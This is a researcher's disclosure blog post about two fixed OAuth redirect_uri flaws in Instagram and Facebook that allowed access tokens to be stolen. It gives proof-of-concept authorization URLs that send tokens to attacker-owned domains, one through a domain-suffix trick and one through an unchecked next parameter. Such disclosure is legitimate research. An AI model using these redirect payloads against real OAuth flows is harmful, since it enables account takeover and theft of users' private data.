How I Hacked Instagram Accounts - Break Security

How I Hacked Instagram Accounts

Hi guys,

For this post, I’m going to show you what I found in Instagram OAuth, and how I was able to hack into Instagram accounts using the OAuth vulnerabilities on Instagram.com/facebook.com.

There are basically two ways to take advantage of the Instagram OAuth in order to take control of those accounts.

1.

Hijack Instagram accounts using the Instagram OAuth (https://instagram.com/oauth/authorize/)

2.

Hijack Instagram accounts using the Facebook OAuth Dialog (https://www.facebook.com/dialog/oauth)



If the attack is successful, it could provide access to:
Private photos
The ability to delete photos and edit comments
The ability to post new photos

Because I’m a big Instagram “fan,” I thought to myself, “Why not take a look at its security?”

Here come my story regarding Instagram,

When Facebook Acquired Instagram, I Start to check them for Security Vulnerabilities,

I reported a few issues to Instagram Include OAuth Attacks, But the acquisition didn’t closed yet and Facebook Security was unable to put their hands on security issues in Instagram, So I was waiting, Waiting like a good WhiteCollar, Then Facebook Security send me a message, They say even that they was unable to fix this issues because the acquisition didn’t closed yet, They will still payout for this vulnerabilities,
Anyway, I told to Facebook that I don’t want any payout for my bug findings because they was unable to perform a security checks before the acquisition have been closed, It’s amazing to see how Facebook Security doing a great job regarding their bug bounty program, Even that they didn’t close the acquirement, They Still wanted to pay for my findings,

Now for my findings:

So, first, I checked Instagram’s OAuth protocol:

(http://instagram.com/developer/authentication/)

While researching Instagram’s security parameters, I noticed that Facebook Security had produced some impressive results in regard to their own Instagram OAuth vulnerabilities. They essentially blocked access to any and all files, folders, and subdomains by validate the redirect_uri parameter.
In addition, redirection was only allowed to go to the owner app domain. That was particularly bad news for me.

Thus, I needed to locate some other way to get past their protection. Further complicating the issue was the fact that you can’t use a site redirection / XSS on the victim’s owner app. This is because you have no access to the files or folders on the owner app domain through the redirect_uri parameter.
For example:

Allow request:

https://apigee.com

Block requests:

Redirect_uri=https://www.breaksec.com

Redirect_uri=https://a.apigee.com/

Redirect_uri=https://apigee.com/x/x.php

Redirect_uri=https://apigee.com/%23,? or any special sign

As it stands, it appears that the redirect_uri is invulnerable to OAuth attacks.

While researching, I came upon a sneaky bypass. If the attacker uses a suffix trick on the owner app domain, they can bypass the Instagram OAuth and then send the access_token code to their own domain.

For instance:

Let’s say my app client_id in Instagram is 33221863xxx and my domain is breaksec.com

In this case, the redirect_uri parameter should allow redirection only to my domain (breaksec.com), right? What happens when we change the suffix in the domain to something like:

Breaksec.com.mx

In this example, the attacker can send the access_token, code straight to breaksec.com.mx. For the attack to be successful, of course, the attacker will have to buy the new domain (in this case, breaksec.com.mx).


It’s also feasible to purchase other breaksec.com domains like:

com.tw

com.mx

com.es

com.co

com.bz

com.br

com.ag

PoC Bypass (Fixed By Facebook Security Team):

https://instagram.com/oauth/authorize/?client_id=33221863eec546659f2564dd71a8a38d&redirect_uri=https://breaksec.com.mx&response_type=token



Game Over.



Bug 2.



With this bug, I used the Instagram client_id value through the Facebook OAuth (https://www.facebook.com/dialog/oauth).



When you use the Instagram app, it can be integrated with Facebook.

For example:

When a user wants to upload their Instagram photos to Facebook, they allow this interaction and integration to take place.
o my surprise, I discovered that an attacker can use virtually any domain in the redirect_uri, next parameter. This was actually sort of baffling, and I don’t know why this happened, but it worked. You can literally use any domain in redirect_uri, next parameter via the redirect_uri in Instagram client_id.

This effectively allows the attacker to steal the access_token of any Instagram user,

With the access_token the attacker will be able to post on the victim behalf in his Facebook account, Access to his private friends list.



PoC (Facebook Already fixed this issue):

https://www.facebook.com/connect/uiserver.php?app_id=124024574287414&next=http://files.nirgoldshlager.com&display=page&fbconnect=1&method=permissions.request&response_type=token


See You next time...